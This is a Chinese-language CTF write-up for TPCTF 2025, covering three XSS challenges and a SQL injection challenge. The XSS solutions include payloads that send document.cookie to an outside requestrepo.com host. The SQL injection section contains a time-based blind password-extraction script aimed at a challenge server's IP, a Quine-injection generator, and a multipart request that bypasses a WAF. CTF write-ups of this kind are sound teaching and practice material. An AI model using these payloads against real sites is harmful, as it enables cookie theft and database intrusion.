Skip to content

TPCTF

约 870 字大约 3 分钟

CTF

2025-03-10

前言

难得发挥一次给队里做点题,一题三吃的 xss 有点想笑

image-20250312153339368

babylayout

可以用 img src 属性, 然后去拼接绕过检测

layout

<img src="{{content}}">

content:

anything"onerror="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)

image

safelayout

DOMPurify 对于 layout 和 content 分别处理一次

DOMPurify.sanitize(input, { ALLOWED_ATTR: [] });

但是没有限制

  • ALLOW_DATA_ATTR (default=true | usage): Allows data- attributes to be used.
  • ALLOW_ARIA_ATTR (default=true | usage): Allows aria- attributes to be used.

所以

layout:

<svg aria-label="{{content}}">anything</svg>

content:

anything"onload="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)

image (2)

safelayout-revenge

参考文章

image-20250310104027885

相似的感觉,content 设置为空,layout 如下

x<style><{{content}}/style><{{content}}img src=x onerror=anything"onload="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)></style>

image (1)

supersqli

代码逻辑很简单就是从数据库里面查密码,然后 assert 相等就返回一个 flag,然后外面套了一层 go 写的 waf,首行回车加解析差异去绕,但是写完脚本发现那个表其实是空的,当时队友说了我没在意,我以为只是本地空,所以写出了如下失败的脚本

import requests
import time

# 配置
url = "http://1.95.159.113/flag/"
test_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  # 测试字符集
TIME_THRESHOLD = 2  # 时间阈值(秒)
MAX_POSITION = 20  # 最大密码长度

# HTTP 请求头
headers = {
    "Host": "1.95.159.113",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKPjN0GYtWEjAni5F"
}

# 构造请求体函数
def build_body(position, char):
    payload = (
        f"1' or (CASE WHEN (SUBSTR((SELECT password FROM blog_adminuser WHERE username='admin'), {position}, 1)='{char}') THEN hex(RANDOMBLOB(1000000000)) ELSE 0 END) or '1'='1"
    )
    body = (
        "------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\n"
        "Content-Disposition: form-data; name=\"username\"\r\n"
        "\r\n"
        "admin\r\n"
        "------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\n"
        "Content-Disposition: form-data; name=\"anything\";filename=\"anything\"\r\n"
        "Content-Disposition: form-data; name=\"password\"\r\n"
        "\r\n"
        f"{payload}\r\n"
        "------WebKitFormBoundaryKPjN0GYtWEjAni5F--"
    )
    return body

# 发送请求并测量时间
def test_char(position, char):
    body = build_body(position, char)
    # 更新 Content-Length
    headers["Content-Length"] = str(len(body.encode('utf-8')))
    start_time = time.time()
    response = requests.post(url, headers=headers, data=body.encode('utf-8'))
    elapsed_time = time.time() - start_time
    return elapsed_time, response.status_code, response.text

# 提取密码
def extract_password():
    password = ""
    for position in range(1, MAX_POSITION + 1):
        print(f"\nTesting position {position}...")
        found = False
        for char in test_chars:
            elapsed_time, status_code, response_text = test_char(position, char)
            print(f"Char: '{char}', Time: {elapsed_time:.2f}s, Status: {status_code}, Response: {response_text[:50]}...")
            if elapsed_time > TIME_THRESHOLD:
                password += char
                print(f"Found char at position {position}: '{char}', Current password: {password}")
                found = True
                break
        if not found:
            print(f"No match found at position {position}, stopping.")
            break
    return password

# 执行
if __name__ == "__main__":
    print("Starting password extraction...")
    final_password = extract_password()
    print(f"\nExtracted password: {final_password}")

想办法让语句返回的值可控,和我们输入的 password 相同,Quine 注入

image-20250312161647875

可以借用一个师傅写的比较好的脚本

sql = input ("输入你的sql语句,不用写关键查询的信息  形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
    if ("-- " in string):
        tem = string.split("--+")[0] + base + "-- "
    if ("#" in string):
        tem = string.split("#")[0] + base + "#"
    return tem
def patch(string,sql):
    if ("-- " in string):
        return sql.split("--+")[0] + string + "-- "
    if ("#" in string):
        return sql.split("#")[0] + string + "#"

res = patch(base.replace(".",add(sql2)),sql).replace("'.'",'"."')

print(res)

借岳神的 exp 用一下

Content-Type: multipart/form-data; boundary=a;

--a
Content-Disposition: form-data;name="username"

admin
--a
Content-Disposition: form-data;name="password]"

111
--a--
Content-Disposition: form-data;name="password"

'union/**/SELECT/**/1,2,REPLACE(REPLACE('"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--',CHAR(34),CHAR(39)),CHAR(46),'"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--')--

2b74a9cbfd909af46bcdad0b3769d552

are you incognito?

嗨呀岳神牛逼,比赛看解少就没看这个题,之后再做

yuebusao